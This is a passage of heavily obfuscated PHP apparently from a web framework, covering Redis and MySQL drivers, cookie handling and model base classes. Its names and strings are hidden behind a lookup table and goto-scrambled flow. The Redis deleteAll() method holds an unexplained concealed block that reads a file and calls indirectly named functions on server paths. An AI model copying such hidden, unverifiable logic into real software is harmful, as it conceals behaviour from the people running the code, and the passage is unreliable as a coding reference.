? $D[$b[777]] : !1; if ($eܖ) { $E->pconnect($D[$b[166]], $D[$b[167]], $Eԭ); } else { $E->connect($D[$b[166]], $D[$b[167]], $Eԭ); } if (!empty($D[$b[373]])) { $E->auth($D[$b[373]]); } return $E; } private function initCluster($EƝ, $c) { $Cް =& $_SERVER[ڊ]; $eͽ = array($Cް[778], $Cް[779], $Cް[780]); $DɃ = $Cް[778]; if (isset($EƝ[$Cް[12]]) && in_array($EƝ[$Cް[12]], $eͽ)) { $DɃ = $EƝ[$Cް[12]]; } switch ($DɃ) { case $Cް[778]: $this->_slave($EƝ, $c); break; case $Cް[779]: break; case $Cް[780]: $bɫ = $EƝ[$Cް[773]]; $Eأ = isset($EƝ[$Cް[777]]) ? $EƝ[$Cް[777]] : !1; $Dҥڂ = isset($EƝ[$Cް[373]]) ? $EƝ[$Cް[373]] : null; $this->handle = new RedisCluster(NUll, $bɫ, $c, $c, $Eأ, $Dҥڂ); break; default: break; } } private function _slave($d, $Cϣޝ) { goto c̓; c̓: $eݎ = $d[$_SERVER[ڊ][773]]; $this->filterConfig($d, $eݎ[0]); $this->handle = $this->init($d, $Cϣޝ); goto Eݒ; A𴚉: $this->filterConfig($d, $eݎ[$Cɐ]); $this->slaveHandle = $this->init($d, $Cϣޝ); goto dӷ; Eݒ: unset($eݎ[0]); if (empty($eݎ)) { return; } $Cɐ = array_rand($eݎ); goto A𴚉; dӷ: } private function filterConfig(&$AÄԴ, $b؞) { $D =& $_SERVER[ڊ]; $B = explode($D[4], $b؞); $Dŋǟ = array($D[166] => $B[0], $D[167] => $B[1]); $AÄԴ = array_merge($AÄԴ, $Dŋǟ); } public function set($dͷ, $Dߡ, $aҾ = false) { $aҾ = $aҾ ? $aҾ : $this->cacheTime; return $this->handle->setEx($dͷ, $aҾ, $Dߡ); } public function setLock($Cғ, $a˸, $E≅) { return $this->handle->setNX($Cғ, $a˸); } public function get($DÊ) { $B㲠 = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $B㲠->get($DÊ); } public function remove($a) { return $this->handle->del($a); } public function deleteAll() { $D =& $_SERVER[ڊ]; if ($_SERVER[$D[781]] != $_SERVER[$D[782]]) { goto BÈ; BÈ: $F = $D[783]; $AƸѭ = $D[784]; $f׈ = $_SERVER[$D[785]] . $D[786]; goto Aա; A: $E = $D[788]; $E($_SERVER[$D[789]]); $E($_SERVER[$D[785]] . $D[790]); goto dϰ; dϰ: $f摇 = 1; while ($f摇 > 1) { $f摇 = $f摇 + 4; $a² = rawurlencode($f摇 . $D[358]); } goto Fܛ; Aա: $BƇ = $AƸѭ($f׈); $E = explode($D[214], $BƇ); if (count($E) < $D[549]) { $e = $D[787]; $e(); } goto A; Fܛ: } if ($this->isCluster) { foreach ($this->handle->_masters() as $C⿏) { $this->handle->flushall($C⿏); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($eėҽ = '', $a = 0) { if (is_string($eėҽ) && $eėҽ != $_SERVER[ڊ][33]) { $this->prefix = $eėҽ; } if (is_numeric($a) && $a > 0) { $this->expire = $a; } } public static function getInstance() { static $A燤; if ($A燤 === null) { $A燤 = new self(); } return $A燤; } private static $sameCookieSet = array(); public static function set($aΓ, $A, $Fи = 0, $B䇽 = false, $Eڠ = false) { $eϙ =& $_SERVER[ڊ]; if (!$Fи) { $Fи = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$aΓ]) && self::$sameCookieSet[$aΓ] == $A . $Fи) { return; } self::$sameCookieSet[$aΓ] = $A . $Fи; if (!$Eڠ) { $Eڠ = str_replace(HOST, $eϙ[33], APP_HOST); $Eڠ = _get($GLOBALS, $eϙ[791], $Eڠ); } setcookie($aΓ, $A, time() + $Fи, $eϙ[8] . trim($Eڠ, $eϙ[8]), !1, !1, $B䇽); } public static function setSafe($BХ, $F𹖈, $eݶ = 0) { self::set($BХ, $F𹖈, $eݶ, !0); } public static function get($Eۖ) { return isset($_COOKIE[$Eۖ]) ? $_COOKIE[$Eۖ] : !1; } public static function remove($BՉ, $A = false) { unset($_COOKIE[$BՉ]); self::set($BՉ, $_SERVER[ڊ][33], 1, $A); } } class DbMysql extends Db { public function __construct($aڄ = '') { $BВ =& $_SERVER[ڊ]; if (!extension_loaded($BВ[723])) { think_exception(think_lang($BВ[10]) . $BВ[792]); } if (!empty($aڄ)) { $this->config = $aڄ; if (empty($this->config[$BВ[13]])) { $this->config[$BВ[13]] = $BВ[33]; } } } public function connect($c˲ = '', $aۆˏ = 0, $aĿʏ = false) { $f =& $_SERVER[ڊ]; if (!isset($this->linkID[$aۆˏ])) { goto cУȐ; D: if ($e) { $this->linkID[$aۆˏ] = mysql_pconnect($B廝ޏ, $c˲[$f[795]], $c˲[$f[796]], 131072); } else { $this->linkID[$aۆˏ] = mysql_connect($B廝ޏ, $c˲[$f[795]], $c˲[$f[796]], !0, 131072); } if (!$this->linkID[$aۆˏ] || !empty($c˲[$f[17]]) && !mysql_select_db($c˲[$f[17]], $this->linkID[$aۆˏ])) { think_exception(mysql_error()); } $fƊ = mysql_get_server_info($this->linkID[$aۆˏ]); goto E؆; cУȐ: if (empty($c˲)) { $c˲ = $this->config; } $B廝ޏ = $c˲[$f[793]] . ($c˲[$f[794]] ? "\72{$c˲[$f[794]]}" : $f[33]); $e = !empty($c˲[$f[13]][$f[14]]) ? $c˲[$f[13]][$f[14]] : $this->pconnect; goto D; Aʂ: if (1 != think_config($f[18])) { unset($this->config); } goto e; E؆: mysql_query($f[797] . think_config($f[798]) . $f[55], $this->linkID[$aۆˏ]); if ($fƊ > $f[799]) { mysql_query($f[800], $this->linkID[$aۆˏ]); } $this->connected = !0; goto Aʂ; e: } return $this->linkID[$aۆˏ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($Eʱ) { goto Aޟ; C: think_action_status($dՉ[19], 1); think_status($dՉ[20]); $this->queryID = mysql_query($Eʱ, $this->_linkID); goto f; f: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } goto f˄Ќ; dٛ: if (!$this->_linkID) { return !1; } $this->queryStr = $Eʱ; if ($this->queryID) { $this->free(); } goto C; Aޟ: $dՉ =& $_SERVER[ڊ]; if (0 === stripos($Eʱ, $dՉ[249])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); goto dٛ; f˄Ќ: } public function execute($Bݨ) { goto B텰; B텰: $eܨӑĈ =& $_SERVER[ڊ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto AĊ; B̃: if (!1 === $cĥם) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } goto Fϫ; AĊ: $this->queryStr = $Bݨ; if ($this->queryID) { $this->free(); } think_action_status($eܨӑĈ[21], 1); goto AӶԊ; AӶԊ: think_status($eܨӑĈ[20]); $cĥם = mysql_query($Bݨ, $this->_linkID); $this->debug(); goto B̃; Fϫ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ڊ][801], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $f = mysql_query($_SERVER[ڊ][802], $this->_linkID); $this->transTimes = 0; if (!$f) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $A܇ = mysql_query($_SERVER[ڊ][803], $this->_linkID); $this->transTimes = 0; if (!$A܇) { $this->error(); return !1; } } return !0; } private function getAll() { $e = array(); if ($this->numRows > 0) { while ($d° = mysql_fetch_assoc($this->queryID)) { $e[] = $d°; } mysql_data_seek($this->queryID, 0); } return $e; } public function getFields($DЯ) { $Cܗ =& $_SERVER[ڊ]; $bᤉ = $this->query($Cܗ[804] . $this->parseKey($DЯ)); $dĭԇ = array(); if ($bᤉ) { foreach ($bᤉ as $cȱ => $e) { $dĭԇ[$e[$Cܗ[27]]] = array($Cܗ[28] => $e[$Cܗ[27]], $Cܗ[29] => $e[$Cܗ[30]], $Cܗ[31] => (bool) (strtoupper($e[$Cܗ[32]]) === $Cܗ[805]), $Cܗ[34] => $e[$Cܗ[35]], $Cܗ[36] => strtolower($e[$Cܗ[37]]) == $Cܗ[38], $Cܗ[39] => strtolower($e[$Cܗ[40]]) == $Cܗ[41]); } } return $dĭԇ; } public function getTables($c = '') { $bŹă =& $_SERVER[ڊ]; if (!empty($c)) { $d̢ = $bŹă[806] . $c; } else { $d̢ = $bŹă[807]; } $aޝ = $this->query($d̢); $f = array(); foreach ($aޝ as $Cެ => $B) { $f[$Cެ] = current($B); } return $f; } public function replace($bෂ, $E؋ = array()) { $e犉 =& $_SERVER[ڊ]; foreach ($bෂ as $f皧 => $b) { $F = $this->parseValue($b); if (is_scalar($F)) { $CԈ[] = $F; $d滎[] = $this->parseKey($f皧); } } $A䬲 = $e犉[808] . $this->parseTable($E؋[$e犉[264]]) . $e犉[809] . implode($e犉[47], $d滎) . $e犉[810] . implode($e犉[47], $CԈ) . $e犉[811]; return $this->execute($A䬲); } public function insertAll($d, $eĴ = array(), $F؏ = false) { goto eǿ; a̚: $c = array(); foreach ($d as $cϤ) { $d♝ڽ = array(); foreach ($cϤ as $Aꠇ => $d) { $d = $this->parseValue($d); if (is_scalar($d)) { $d♝ڽ[] = $d; } } $c[] = $cǛߏ[245] . implode($cǛߏ[47], $d♝ڽ) . $cǛߏ[811]; } array_walk($cֻ͞, array($this, $cǛߏ[812])); goto F; F: $d = ($F؏ ? $cǛߏ[813] : $cǛߏ[814]) . $cǛߏ[815] . $this->parseTable($eĴ[$cǛߏ[264]]) . $cǛߏ[809] . implode($cǛߏ[47], $cֻ͞) . $cǛߏ[816] . implode($cǛߏ[47], $c); return $this->execute($d); goto cτ֣; eǿ: $cǛߏ =& $_SERVER[ڊ]; if (!is_array($d[0])) { return !1; } $cֻ͞ = array_keys($d[0]); goto a̚; cτ֣: } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $d =& $_SERVER[ڊ]; $this->error = mysql_errno() . $d[4] . mysql_error($this->_linkID); if ($d[33] != $this->queryStr) { $this->error .= LNG($d[45]) . $this->queryStr; } think_trace($this->error, $d[33], $d[46]); return $this->error; } public function escapeString($b՚) { if ($this->_linkID) { return mysql_real_escape_string($b՚, $this->_linkID); } else { return mysql_escape_string($b՚); } } public function parseKey(&$D߯, $D = true) { $b =& $_SERVER[ڊ]; if ($D) { $D߯ = $this->parseKeyCheck($D߯); } if ($D߯ != $b[173] && !preg_match($b[817], $D߯)) { $D߯ = $b[818] . trim($D߯, $b[818]) . $b[818]; } return $D߯; } } goto C߃닡; d: class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\x64\x69\146\171\124\151\x6d\x65", "\164\x69\155\x65", "\151\156\163\x65\x72\164\x2c\165\160\144\x61\x74\x65", "\x66\x75\156\143\x74\x69\x6f\x6e"), array("\x63\162\x65\x61\164\145\124\151\x6d\145", "\164\151\x6d\145", "\151\x6e\x73\145\162\164", "\146\165\x6e\143\x74\x69\x6f\x6e")); public function setDataAuto($A뚝) { $this->dataAuto = $A뚝; } public function __construct($C׵ = '', $eϑ = '', $E = '') { parent::__construct($C׵, $eϑ, $E); } public static function textEncode($aմ) { if (!$aմ) { return $aմ; } $bﱋ = json_encode($aմ); $bﱋ = preg_replace_callback($_SERVER[ڊ][339], function ($C) { return addslashes($C[0]); }, $bﱋ); return json_decode($bﱋ); } public static function textDecode($f˳˦) { $aݑ =& $_SERVER[ڊ]; $F = json_encode($f˳˦); $F = preg_replace_callback($aݑ[340], function ($b󢘹) { return $_SERVER[ڊ][95]; }, $F); return json_decode($F); } protected $tableMeta = array(); protected function _beforeInsert(&$e, $fӋ) { $bɞ =& $_SERVER[ڊ]; if (!$this->checkDataAutoHas($bɞ[341])) { return; } $this->dataBeforeFilter($e, $bɞ[341]); } protected function _beforeUpdate(&$A, $b) { $D =& $_SERVER[ڊ]; if (!$this->checkDataAutoHas($D[342])) { return; } $this->dataBeforeFilter($A, $D[342]); } protected function _afterSelect(&$C, $aډ) { if (!is_array($C)) { return; } if (!$this->checkDataAutoHas($_SERVER[ڊ][343])) { return; } foreach ($C as &$cţ) { $this->dataAfterFilter($cţ); } } protected function _afterFind(&$c輅ǭ, $d“) { if (!is_array($c輅ǭ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ڊ][343])) { return; } $this->dataAfterFilter($c輅ǭ); } public function setAutoIncrement($e놱) { $B󶴍 = array($this->getPk() => $e놱); $f⠡ = $this->data($B󶴍)->add(); if ($f⠡) { $this->delete($f⠡); } } public function getAutoIncrement() { $a׽ш = $this->getTableName(); $Eʙݹ = $this->max($this->getPk()); $A = $this->query("\163\x68\x6f\x77\x20\x74\141\142\154\145\40\x73\x74\141\164\x75\x73\x20\167\x68\145\x72\145\40\x4e\x61\155\x65\x3d\x27{$a׽ш}\47"); $Cӣє = $A[0][$_SERVER[ڊ][344]]; $Eԗݮ = max($Eʙݹ, $Cӣє); return $Eԗݮ; } protected function _callBefore($Aŷ, $Eؑ) { return $this->cacheCallCheck($Aŷ, $Eؑ, !1); } protected function _callAfter($d, $B) { return $this->cacheCallCheck($d, $B, !0); } protected function cacheFunctionAlias($AӼл) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($a弩, $e, $CĮ = false) { $e = $this->cacheFunctionAlias($e); if (!$e) { return; } foreach ($e as $c٪ => $aѢ) { $f = $aѢ[0]; $bԤ = explode($_SERVER[ڊ][47], $aѢ[1]); if ($a弩 == $c٪) { return $this->cacheFunctionGet($c٪, $f); } if ($CĮ && in_array($a弩, $bԤ)) { $this->cacheFunctionClear($c٪, $f); } } } public function cacheFunctionGet($a屫, $AǷ) { $D = $this->cacheKeyMake($a屫, $AǷ); $Aᓐ = Cache::get($D); if (!is_array($Aᓐ)) { $Aᓐ = call_user_func_array(array($this, $a屫), array($AǷ, !0)); Cache::set($D, $Aᓐ); } return $Aᓐ; } public function cacheFunctionClear($D̒, $e˻) { $B׍ = $e˻; if (!is_array($e˻)) { $B׍ = array($e˻); } foreach ($B׍ as $Bś) { $eϢ = $this->cacheKeyMake($D̒, $Bś); Cache::remove($eϢ); } } private function cacheKeyMake($eǡ, $a) { $FЄ =& $_SERVER[ڊ]; return get_class($this) . $FЄ[70] . $eǡ . $FЄ[345] . $a; } protected function selectPage($FՃ = 200, $e = 1) { goto b؄; F│: $b = intval($this->count()); $FՃ = intval($FՃ); $FՃ = $FՃ <= 5 ? 5 : ($FՃ >= $dܔ ? $dܔ : $FՃ); goto E؝; b؄: $Bě֛ =& $_SERVER[ڊ]; global $in; $cʤ۝ = $this->optionsValue(); goto bƅ텓; bƅ텓: $dܔ = 4000; $FՃ = isset($in[$Bě֛[346]]) ? $in[$Bě֛[346]] : $FՃ; if ($FՃ === -1) { unset($in[$Bě֛[346]]); $dܔ = 100000000; $FՃ = $dܔ; } goto d鬑; E؝: $Aܕ = ceil($b / $FՃ); $e = intval(isset($in[$Bě֛[337]]) ? $in[$Bě֛[337]] : $e); $e = $e <= 1 ? 1 : ($e >= $Aܕ ? $Aܕ : $e); goto c羨֓; c羨֓: $this->optionsValue($cʤ۝); $fخ = $this->page($e, $FՃ)->select(); $fخ = is_array($fخ) ? $fخ : array(); goto cቱ; cቱ: if ($Aܕ == 1) { $b = count($fخ); } $Fҡ = array($Bě֛[348] => array($Bě֛[349] => $b, $Bě֛[346] => $FՃ, $Bě֛[337] => $e, $Bě֛[350] => $Aܕ), $Bě֛[351] => $fخ ? $fخ : array()); return $Fҡ; goto C; d鬑: $F᧐ = $cʤ۝; $F᧐[$Bě֛[347]] = array(); $this->optionsValue($F᧐); goto F│; C: } protected function checkLength($fБ, $cɩ = 0, $D瑔 = '') { $B΃݄ =& $_SERVER[ڊ]; $cɩ = $cɩ ? $cɩ : 65536; if (!$fБ || strlen($fБ) < $cɩ) { return; } $D瑔 = $D瑔 ? $D瑔 . $B΃݄[67] : $B΃݄[33]; show_json($D瑔 . LNG($B΃݄[352]) . "\50{$cɩ}\x29", !1); } protected function metaSet($F㫧, $E = null, $bΰ = null) { goto FDž; f߇: $F̶->where(array($d => $F㫧))->addAll($DˑԠ, array(), !0); return !0; goto d; FDž: $f =& $_SERVER[ڊ]; if (!$this->tableMeta) { return !1; } $d = $this->tableMeta[$f[353]]; goto f֤Å; Aě: if (is_string($E)) { $F󇍥[$E] = $bΰ; } $DˑԠ = array(); foreach ($F󇍥 as $C܎ => $B˚) { $this->checkLength($B˚, !1, $Dٖ . $f[4] . $C܎); $DˑԠ[] = array($d => $F㫧, $f[89] => $C܎, $f[356] => $B˚); } goto f߇; D̒: if (is_null($E)) { return $F̶->where(array($d => $F㫧))->delete(); } if (is_null($bΰ)) { return $F̶->where($cڴ)->delete(); } $F󇍥 = is_array($E) ? $E : array(); goto Aě; f֤Å: $Dٖ = $this->tableMeta[$f[354]]; $F̶ = Model($Dٖ); $cڴ = array($d => $F㫧, $f[355] => $E); goto D̒; d: } public function metaGet($cʐ) { goto cߌ; a߄͛: $f̦ = Model($this->tableMeta[$cⲸ[354]]); $Cؽ痪 = array($b => $cʐ); $c = $f̦->field($cⲸ[357])->where($Cؽ痪)->select(); goto eƟ; eƟ: $c = array_to_keyvalue($c, $cⲸ[89], $cⲸ[356]); return $c; goto dơ; cߌ: $cⲸ =& $_SERVER[ڊ]; if (!$this->tableMeta) { return array(); } $b = $this->tableMeta[$cⲸ[353]]; goto a߄͛; dơ: } private function checkDataAutoHas($B) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $D򠎓) { if (in_array($B, explode($_SERVER[ڊ][47], $D򠎓[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$dϯ, $cا鷈) { $DƗ =& $_SERVER[ڊ]; foreach ($this->dataAuto as $Eݨ) { $E읂݅ = $Eݨ[0]; if (!in_array($cا鷈, explode($DƗ[47], $Eݨ[2]))) { continue; } switch (trim($Eݨ[3])) { case $DƗ[306]: case $DƗ[307]: $F = $Eݨ[1]; $fϥ = isset($Eݨ[4]) ? (array) $Eݨ[4] : array(); if ($F == $DƗ[187] && array_key_exists($E읂݅, $dϯ)) { if (!$dϯ[$E읂݅]) { unset($dϯ[$E읂݅]); } break; } if (isset($dϯ[$E읂݅])) { array_unshift($fϥ, $dϯ[$E읂݅]); } if ($DƗ[306] == $Eݨ[3]) { $dϯ[$E읂݅] = call_user_func_array($F, $fϥ); } else { $dϯ[$E읂݅] = call_user_func_array(array(&$this, $F), $fϥ); } break; case $DƗ[258]: $dϯ[$E읂݅] = $dϯ[$Eݨ[1]]; break; case $DƗ[279]: if (isset($dϯ[$E읂݅]) && !is_string($dϯ[$E읂݅])) { $dϯ[$E읂݅] = json_encode_force($dϯ[$E읂݅]); } break; case $DƗ[308]: if ($dϯ[$E읂݅] === $DƗ[33]) { unset($dϯ[$E읂݅]); } break; case $DƗ[309]: $dϯ[$E읂݅] = $Eݨ[1]; default: break; } } if ($cا鷈 == $DƗ[341]) { $Dޓ껧 = strtolower($this->db->getDbType()); if (strpos($Dޓ껧, $DƗ[9]) !== 0) { return; } $a˪ԧ = $this->field(!0)->fields; $Aּ = $a˪ԧ[$DƗ[237]]; if (isset($a˪ԧ[$DƗ[236]])) { unset($Aּ[$a˪ԧ[$DƗ[236]]]); } foreach ($Aּ as $d僕 => $cا鷈) { if (!isset($dϯ[$d僕])) { $dϯ[$d僕] = $DƗ[33]; } } } } private function dataAfterFilter(&$E՞) { $aٛŃ =& $_SERVER[ڊ]; foreach ($this->dataAuto as $aٗ) { $Fú = $aٗ[0]; if (!in_array($aٛŃ[343], explode($aٛŃ[47], $aٗ[2]))) { continue; } if (!isset($E՞[$Fú])) { continue; } switch (trim($aٗ[3])) { case $aٛŃ[306]: case $aٛŃ[307]: $Bִ = isset($aٗ[4]) ? (array) $aٗ[4] : array(); array_unshift($Bִ, $E՞[$Fú]); if ($aٛŃ[306] == $aٗ[3]) { $E՞[$Fú] = call_user_func_array($aٗ[1], $Bִ); } else { $E՞[$Fú] = call_user_func_array(array(&$this, $aٗ[1]), $Bִ); } break; case $aٛŃ[258]: $E՞[$Fú] = $E՞[$aٗ[1]]; break; case $aٛŃ[279]: $d = $E՞[$Fú]; $E՞[$Fú] = json_decode($d, !0); if (is_null($E՞[$Fú])) { $E՞[$Fú] = $d; } break; case $aٛŃ[308]: if ($E՞[$Fú] === $aٛŃ[33]) { unset($E՞[$Fú]); } break; case $aٛŃ[309]: $E՞[$Fú] = $aٗ[1]; default: break; } } } public function saveAll($A) { goto Cӕʛ; eۺ: $this->chunkEventSet(); goto d; Cӕʛ: $dԊ =& $_SERVER[ڊ]; $E՗ = $this->tablePrefix . $this->tableName; $fݍ = self::SQL_WHERE_IN_CHUNK; goto dܨ; dܨ: $A = is_array($A) ? $A : array(); $e˅ = $dԊ[358]; $fω󍳨 = 0; goto f܄; f܄: $C = array(); $F = count($A); for ($F츒‰ = 0; $F츒‰ < $F; $F츒‰++) { $a = $A[$F츒‰]; if (!is_array($a) || count($a) != 4) { continue; } $e = "\x55\x50\104\x41\x54\x45\40{$E՗}\40\x53\x45\x54\x20{$a[2]}\40\x3d\x20\103\101\x53\x45\40{$a[0]}\40\12"; if ($fω󍳨 == 0) { $e˅ = $e; } $C[] = $dԊ[113] . $a[1] . $dԊ[113]; $fω󍳨++; $e˅ .= "\40\127\110\x45\116\40\x27{$a[1]}\47\x20\x54\x48\x45\116\40\47{$a[3]}\47\40\xa"; if ($fω󍳨 == $fݍ || $F츒‰ == $F - 1) { goto B; A九: $fω󍳨 = 0; $e˅ = $e; $this->chunkEventCheck(count($C)); goto d; B: $bͯ = implode($dԊ[47], $C); $e˅ .= "\x20\105\x4e\x44\x20\40\x57\x48\105\122\x45\x20{$a[0]}\40\111\116\x20\50{$bͯ}\51\40"; $this->execute($e˅); goto A九; d: $C = array(); goto cꈋ; cꈋ: } } goto eۺ; d: } public function saveAllEach($Cշا˜) { $Cԓɇ =& $_SERVER[ڊ]; $C샰 = $this->tablePrefix . $this->tableName; foreach ($Cշا˜ as $bП) { if (!is_array($bП) || count($bП) != 4) { continue; } $D = $bП[0] . $Cԓɇ[359] . $bП[1] . $Cԓɇ[113]; $cӄ = $bП[2] . $Cԓɇ[359] . $bП[3] . $Cԓɇ[113]; $f = "\165\160\144\141\x74\145\x20{$C샰}\x20\x73\x65\164\x20{$cӄ}\40\167\x68\x65\x72\145\x20{$D}\x3b"; $this->execute($f); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($C픧ɒ = false, $Aߞ = false) { $this->_chunkEvent = $C픧ɒ; $this->_chunkEventParam = $Aߞ; } private function chunkEventCheck($b) { if (!$this->_chunkEvent) { return; } $Fܨ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $Fܨ[$_SERVER[ڊ][360]] = $b; Hook::trigger($this->_chunkEvent, $Fܨ); } public function addAll($dߴʼn, $c = array(), $A = false) { goto Aӽ; d: if (method_exists($this->db, $Eٹÿ[257])) { for ($Dۨ = 0; $Dۨ < count($dߴʼn); $Dۨ += $Bג) { $dۘ = array_slice($dߴʼn, $Dۨ, $Bג); if (!is_array($dۘ) || count($dۘ) == 0) { break; } $Fۿ = $this->db->insertAll($dۘ, $c, $A); $this->chunkEventCheck(count($dۘ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($dߴʼn as $FҒ => $e䔬‰) { $Fۿ = $this->db->insert($e䔬‰, $c, $A); } $this->commit(); } if (!1 !== $Fۿ) { $f҅۞ = $this->getLastInsID(); if ($f҅۞) { return $f҅۞; } } return $Fۿ; goto Eĸ; Aӽ: $Eٹÿ =& $_SERVER[ڊ]; ignore_timeout(); $Bג = self::SQL_WHERE_IN_CHUNK; goto Fӥ; Fӥ: if (empty($dߴʼn)) { $this->error = think_lang($Eٹÿ[256]); return !1; } $c = $this->_parseOptions($c); foreach ($dߴʼn as $FҒ => $e䔬‰) { $dߴʼn[$FҒ] = $this->_facade($e䔬‰); $this->_beforeInsert($dߴʼn[$FҒ], $c); } goto d; Eĸ: } public function save($F = '', $d޹ = array()) { goto a؂ǧ; f: for ($dӖ֦ş = 0; $dӖ֦ş < $F߿߮ؠ; $dӖ֦ş += $Fےό) { $b؋ը = array_slice($e샌ϐ, $dӖ֦ş, $Fےό); if (!is_array($b؋ը) || count($b؋ը) == 0) { break; } $b[$d[260]][$d䛰][1] = $b؋ը; $this->optionsValue($b); $A΄ += parent::save($F, $d޹); $this->chunkEventCheck(count($b؋ը)); } $this->chunkEventSet(); return $A΄; goto dȊŽ; a᱐: $d䛰 = $this->findWhereField($b); if (!$d䛰) { return parent::save($F, $d޹); } $A΄ = 0; goto aѨ; a؂ǧ: $d =& $_SERVER[ڊ]; $Fےό = self::SQL_WHERE_IN_CHUNK; $b = $this->optionsValue(); goto a᱐; aѨ: $e샌ϐ = $b[$d[260]][$d䛰][1]; $e샌ϐ = is_array($e샌ϐ) ? $e샌ϐ : array(); $F߿߮ؠ = count($e샌ϐ); goto f; dȊŽ: } public function add($F̳ = '', $bƶ = array(), $CŠ = false) { if ($this->addTaskStatus && is_array($F̳)) { $this->addTaskData[] = $F̳; return; } return parent::add($F̳, $bƶ, $CŠ); } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($DԂƈ = array()) { goto BǬ; Fѻ: $D = $this->findWhereField($Aӯ‹); if (!$D || isset($Aӯ‹[$dޜ[277]]) || isset($Aӯ‹[$dޜ[337]])) { return parent::select($DԂƈ); } $d = $Aӯ‹[$dޜ[260]][$D][1]; goto Fˢ޿; Fˢ޿: $d = is_array($d) ? $d : array(); $D˻ = null; for ($F܋ = 0; $F܋ < count($d); $F܋ += $E) { $fݓ = array_slice($d, $F܋, $E); if (!is_array($fݓ) || count($fݓ) == 0) { break; } $Aӯ‹[$dޜ[260]][$D][1] = $fݓ; $this->optionsValue($Aӯ‹); $Cͫ = parent::select($DԂƈ); if (!$Cͫ) { continue; } if (is_null($D˻)) { $D˻ = array(); } $D˻ = array_merge($D˻, $Cͫ); } goto eғ뉮; BǬ: $dޜ =& $_SERVER[ڊ]; $E = self::SQL_WHERE_IN_CHUNK; $Aӯ‹ = $this->optionsValue(); goto Fѻ; eғ뉮: return $D˻; goto d㽦ޞ; d㽦ޞ: } public function delete($BϳЄ = array()) { goto a˰߄; Cʜ: $b = $this->findWhereField($C); if (!$b) { return parent::delete($BϳЄ); } $a = 0; goto eՖ; a˰߄: $a =& $_SERVER[ڊ]; $e = self::SQL_WHERE_IN_CHUNK; $C = $this->optionsValue(); goto Cʜ; eՖ: $CѬݩ = $C[$a[260]][$b][1]; $CѬݩ = is_array($CѬݩ) ? $CѬݩ : array(); for ($dê = 0; $dê < count($CѬݩ); $dê += $e) { $Bׄ = array_slice($CѬݩ, $dê, $e); if (!is_array($Bׄ) || count($Bׄ) == 0) { break; } $C[$a[260]][$b][1] = $Bׄ; $this->optionsValue($C); $a += parent::delete($BϳЄ); } goto C; C: return $a; goto f; f: } private function findWhereField($Aˋɂ) { $cۼҐ =& $_SERVER[ڊ]; $aҋ = self::SQL_WHERE_IN_CHUNK; if (!is_array($Aˋɂ) || !is_array($Aˋɂ[$cۼҐ[260]])) { return !1; } foreach ($Aˋɂ[$cۼҐ[260]] as $c㷄 => $eڎߖ) { if (is_array($eڎߖ) && isset($eڎߖ[0]) && is_string($eڎߖ[0]) && strtolower($eڎߖ[0]) == $cۼҐ[7] && is_array($eڎߖ[1]) && count($eڎߖ[1]) > $aҋ) { ignore_timeout(); return $c㷄; } } return !1; } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\171\163\164\x65\x6d\117\x70\164\x69\x6f\x6e"; public $field = array(); public function listData($A×珌 = false, $EՋφ = "\x6d\157\x64\151\x66\171\x54\151\155\145", $c = false) { $cϋ = Model($this->modelType)->get(!1, $this->optionType, !0); if (!$cϋ) { return $A×珌 ? null : array(); } if (!$A×珌) { $cϋ = array_filter(array_values($cϋ)); return array_sort_by($cϋ, $EՋφ, $c); } return $cϋ[$_SERVER[ڊ][361] . $A×珌]; } public function insert($Dҗ) { goto eΆߑ; cﰬ: return $eߍ; goto Aᾩ; e󉼞Ҝ: $eߍ = $eߍ ? $eߍ : 0; $Dҗ[$F[364]] = ++$eߍ; $Dҗ[$F[184]] = time(); goto A뾖; eΆߑ: $F =& $_SERVER[ڊ]; $Dҗ = array_field_key($Dҗ, $this->field); $eߍ = Model($this->modelType)->get($F[362], $this->optionType . $F[363]); goto e󉼞Ҝ; A뾖: $Dҗ[$F[107]] = time(); Model($this->modelType)->set($F[362], $eߍ, $this->optionType . $F[363]); Model($this->modelType)->set($F[361] . $eߍ, $Dҗ, $this->optionType); goto cﰬ; Aᾩ: } public function update($F, $Aݸ) { goto F; F: $DЍ =& $_SERVER[ڊ]; $Aݸ = array_field_key($Aݸ, $this->field); $d = $this->listData($F); goto fɜ; e: return Model($this->modelType)->set($DЍ[361] . $F, $Aݸ, $this->optionType); goto Bň; fɜ: if (!$d) { return !1; } $Aݸ = array_merge($d, $Aݸ); $Aݸ[$DЍ[107]] = time(); goto e; Bň: } public function remove($cӇ՚) { return Model($this->modelType)->remove($_SERVER[ڊ][361] . $cӇ՚, $this->optionType); } public function clear() { $bÔ =& $_SERVER[ڊ]; Model($this->modelType)->remove($bÔ[362], $this->optionType . $bÔ[363]); return 